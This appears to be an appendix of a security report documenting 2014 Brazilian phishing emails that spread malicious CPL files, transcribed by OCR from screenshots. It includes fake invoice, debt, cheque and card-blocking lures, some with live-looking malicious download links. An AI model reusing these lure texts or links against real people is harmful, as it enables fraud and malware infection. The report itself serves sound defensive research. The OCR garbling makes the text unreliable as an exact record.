e  hxxp://1.bp.blogspot.com/-V50SoHaAwuU/TkOGSWIQ6fI/AAAAAAAAAOk/7U4X_IWWBL4/s1600/MALANDRO.png — Image of
TV character
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Appendix C

Propagation Emails of Malicious CPL Files

H © & 1 4 s EnviodeNotaFiscal Eletrdnica. E... T B - B X
MEMNSAJE

miércoles 05/11/2014 01:54 a.m.

financeiro@servimetals.com.br
Envio de Nota Fiscal Eletr6nica. Emitente: CCN - COMERCIAL. No

Para

] Mensaje @ Documento_Fiscal.html

SN ]

Target NFe - Sistema de envio dos dados Dados da Nota Fiscal Eletronica
Emitente CCN - COM. CENTRO NORTE ALIMENTOS LTD A Numero
do Documento 593090 Série 001 Data de emisséio 05/11/2014 Valor Total
R§ 2520,00 Telefone - Mensagem enviada automaticamente, favor nfio
responder

o Ver mas acerca de financeiro@servimetals.com.br. H ~

Figure C.1 - Propagation email with attachment that leads to a CPL download
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H © @ 1 4 s NovoPedidode OrcamentoCom.. 2? B - 0O X
ARCHIVO ISR

lunes 17/11/2014 08:07 p.m.

Fernanda Lima <cronosport@cronosport.com >

Novo Pedido de Or¢amento Comercial

Para

Ola,
Na semana passada pedi um orgamento e ndo obtive nenhuma resposta,
Ahaixo Planilha com todos os iténs discriminados.

http://69.162.90. 7/orcamento/Planilha-de-Precos. pdf. zip

Favor encaminha este orgamento para fernanda.lima@inbox.im

Att,
Fernanda Lima
Gerente de Compras

3315-3602 / 99976-2938 i
fernanda.lima@inbox.im

0 Ver mas acerca de Fernanda Lima. ﬂ H ~

Figure C.2 - Propagation email with link to download a ZIP file
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H © O M & s NotaFiscal Eletronica:NFE330294. 2? B - M0 X
MENSAJE

martes 2370972014 03:07 a.m.

Grupo Vaotorantim <notafiscaleletronica@votore
Nota Fiscal Eletronica.: NFE.3302948893208492950045735830305

Para

o Si hay problemas :?http:f,fwm.icagh.com;‘cache/ fe mensaje, haga clic aqui para verlo en un
exploradorweb, | sh404sef_analytics_auth/up.php
[Haga clic para seguir vinculo

[4]

1 anexo {(515,1 KE)

Baixar como zip

Grupo Votorantim - Emissdo de NFe: o
21140910656452005904550000000235901664896159 (dados da mercadoria e
faturamento de impostos no anexo)

cnpl 01.149.953/0001-89 13

0 Ver mas acerca de Grupo Votorantim. ﬂ H -~

Figure C.3 — Propagation email with link to download a CPL file
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H © & 1 & s Chequevoltadopormotivo2l-Mens.. 2?2 E - O
ARCHIVO pitlagReN|S

juewes 28/08/2014 10:15 p.m.

Cheque voltado por motivo 21

Para

LﬁJ 2 anexos (total de 195 KB)

CADASTRO_CHEQ...

W

Exibir apresentacdo de slides (1)  Baixar tudo como zip
Prezado Cliente (a):
Segue em Anexo uma Copia do Cheque devolvido

Devolvido motivo 22 Divergéncia ou insuficiéncia de assinatura
Atenciosamente

il

Elisio Correa
Gerente Administrativo - cobrad assessonia de credito

caso nao esteja visualizando clique aqui.

I*]

avast! Este email esta limpo de virus e malwares porgue a protegéo
befree o avast! Antivirus esta ativa,

0 Ver mas acerca de ﬂ ~

hd

Figure C.4 — Propagation email with fake analysis from an antivirus product.
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IR Tk eeaEERe————r ¢ 4 Reply
Subject Fwd: Carta Comunicado Serasa Experian. Nomero do Protocolo:3370

To laboratorio@eset-la.com i’

Serasa:.3 Experian

Sé&o Paulo, 03 de Setembro de 2014
Prezado(a) Senhor(a) ,

Para a preservagcaoc da qualidade e da seguranga dos servigcos
prestados

a comunidade e cumprimento do disposto no art.43, paragrafo segundo,
na lei n.8.078 de 11 de setembro de 1990. comunicamos que
recebemos

da instituicao credora, pedido de inclusdo de seus dados em nossos
registros de inadimplencia, das anotagdes abaixo:

Nimero de Documento: 73728304-25032014-1D8255
Instituigao Credora: Banco Votorantim

Namero do CNPJ:59.588.111/0001-03

Valor da anotagao: 9.216.20

Data da ocorréncia: 20/04/2014

l ' 1 anexo(1145,3 KB)

Baixar como zip

A Serasa E an aguardara pelo prazo de 10 dias Uteis. contando da

Figure C.5 - Another propagation email
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Asunto:Seu ticket esta BLOQUEADO !
Fecha:Thu, 11 Sep 2014 13:28:51 +0100
De:contato3@ticket.com <contato3@ticket.com>
Responder a:contato3@ticket.com <contato3@ticket.com>

Organizacién:contato3@ticket.com
Para:ayuda@nod32-es.com

D Ticket

1234 56 R

ooy

TICKET RESTAURANTE

TICKET ALIMENTACAO

Atengdo

Na constante tentativa de manter um sistema seguro, constatamos que seu cartdo

Ticket 6033-42XX-XXXX-XXXX € 6026-51xX-XXXX-XXXX poderd ser desativado.

Estamos enviando email para todos os nossos clientes, para confirmar quem esta de fato ativo.

Vocé tem até o dia 10/09/2014 para confirmar a utilizacdo do seu cartao.
Para evitar transtornos e até mesmo o bloqueio do seu cartdo, clique no botdo abaixo e acesse sua conta Ticket,
Clique aqui, caso o link acima ndo funcione.

Atenciosamente,

Roberto Mendes
Gerente Geral Ticket Brasil.

Figure C.6 - Another propagation email
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From swmbe shen e ibammilitonbeinb o {" Reply]i‘bReplyAuj v u
Subject Fwd: Quitacdo de Débitos

To

Bom dia,
Estamos enviando um boleto com desconto especial para quitagdo total dos débitos em atraso, refer

VALOR A PAGAR: R$ 510,75
Vencimento: 29/08/2014

Atenciosamente,

Renato Vieira Marielli

Supervisor de Cobranga

Lideranga Cobrancas Inteligentes

Rua Sete de Abril, n® 230, 3° andar, Bloco A
Sdo Paulo - SP

Figure C.7 — Another propagation email



